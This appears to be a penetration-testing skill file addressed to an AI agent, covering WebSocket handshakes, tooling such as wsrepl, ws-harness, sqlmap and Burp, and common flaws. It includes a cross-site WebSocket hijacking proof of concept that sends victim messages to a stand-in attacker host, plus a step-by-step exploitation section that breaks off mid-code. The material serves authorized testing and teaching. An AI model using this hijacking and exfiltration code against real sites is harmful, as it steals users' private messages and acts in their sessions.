/websocket-security

name: websocket-security
description: >-
  WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws. Use when apps use real-time channels, chat, notifications, or WS-backed APIs.

SKILL: WebSocket Security

> **AI LOAD INSTRUCTION**: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in **authorized** tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load **[api-sec](../api-sec/SKILL.md)** when present in the workspace.

0. QUICK START

During proxy or raw traffic review, watch for:

Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol

Server success response indicators:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

**Routing note**: in Burp/browser DevTools, filter for `101` and `Upgrade: websocket`; for deeper API testing, align authn/authz models through `api-sec`.

---

1. PROTOCOL BASICS

Client request (typical)

• **`Upgrade: websocket`** and **`Connection: Upgrade`** — required upgrade handshake.
• **`Sec-WebSocket-Key`** — base64 nonce; server hashes with magic GUID and responds with **`Sec-WebSocket-Accept`**.
• **`Sec-WebSocket-Version: 13`** — current standard version for browser interoperability.

Server response

• **`HTTP/1.1 101 Switching Protocols`** — handshake complete; subsequent frames are WebSocket binary/text frames per RFC.

Minimal conceptual flow:

Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close

---

2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)

Condition

• The server **does not validate `Origin`** (or equivalent binding) on the WebSocket handshake, **and**
• The victim has an **active session** (cookie-based or browser-stored creds) to the target site.

Then a malicious page loaded in the victim’s browser may open a WebSocket **as the victim**, similar in spirit to CSRF but for a **persistent bidirectional channel**.

Proof-of-concept pattern (laboratory / authorized target only)

const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
  fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};

**Testing notes**: Confirm whether **`Origin`** is checked, whether **cookies** are sent (`SameSite` rules), and whether **subprotocol** or **custom headers** are required—missing checks increase CSWSH risk.

---

3. TESTING WITH TOOLS

wsrepl

pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.py

Use a **plugin** to reproduce browser cookies, headers, or token refresh during the WebSocket lifecycle.

ws-harness (bridge to HTTP for other tools)

python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt

Example downstream use with SQL injection tooling over the bridged HTTP surface (adjust URL to local listener):

sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch

Burp Suite ecosystem

• **SocketSleuth** — inspect and manipulate WebSocket traffic inside Burp.
• **WebSocket Turbo Intruder** — high-rate or scripted message fuzzing.

---

4. COMMON VULNERABILITIES

| Issue | Why it matters | |-------|----------------| | Missing **`Origin`** validation | Enables **CSWSH** from attacker-controlled pages | | **Auth token in URL** (`wss://host/ws?token=...`) | Logs, proxies, Referer leakage, browser history | | **No rate limiting** on messages | Abuse, brute force, DoS | | **`ws://` instead of `wss://`** | Cleartext on the wire (MITM) | | **Injection in message bodies** | SQLi, command injection, or XSS if content is stored/reflected elsewhere |

Example sensitive URL anti-pattern:

wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Prefer **Sec-WebSocket-Protocol**, **first-message auth**, or **cookie + CSRF token** patterns aligned with product constraints.

---

5. DECISION TREE

1. **Identify endpoint** — From JS bundles, Swagger, or `101` responses; note `wss` vs `ws`. 2. **Handshake review** — Are **`Origin`**, **Host**, and **Cookie** policies correct? Any token in query string? 3. **Session binding** — Reconnect with **another user’s** cookie jar in Burp; compare subscription topics and data leakage. 4. **CSWSH** — Load a **local HTML** page that connects to the target with victim session active; verify server rejects wrong **Origin** or uses non-cookie secret. 5. **Message semantics** — Fuzz JSON/text payloads for injection; mirror same logic as HTTP API testing. 6. **Transport** — Flag **`ws://`** in production; verify TLS and HSTS alignment.

---

6. RELATED ROUTING

• From **[api-sec](../api-sec/SKILL.md)** — authentication, authorization, IDOR, and rate limiting often **mirror** HTTP APIs behind the same WebSocket routes.

**Note**: WebSocket often shares session and permission models with REST; use `api-sec` to align authentication and resource boundaries on the same backend.

---

7. CSWSH — STEP-BY-STEP EXPLOITATION

Step 1: Confirm no Origin check on WS handshake

# In Burp: intercept the WebSocket upgrade request
# Change Origin header to: https://attacker.com
# If 101 Switching Protocols returned → no Origin validation
# If 403/rejected → Origin is checked (test subdomain variants)

Step 2: Craft attacker page

<html>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');

ws.onopen = function() {
    // Connection established as victim (cookies sent automatically)
    console.log('Connected as victim');
    // Send commands as victim
    ws.send(JSON.stringify({action: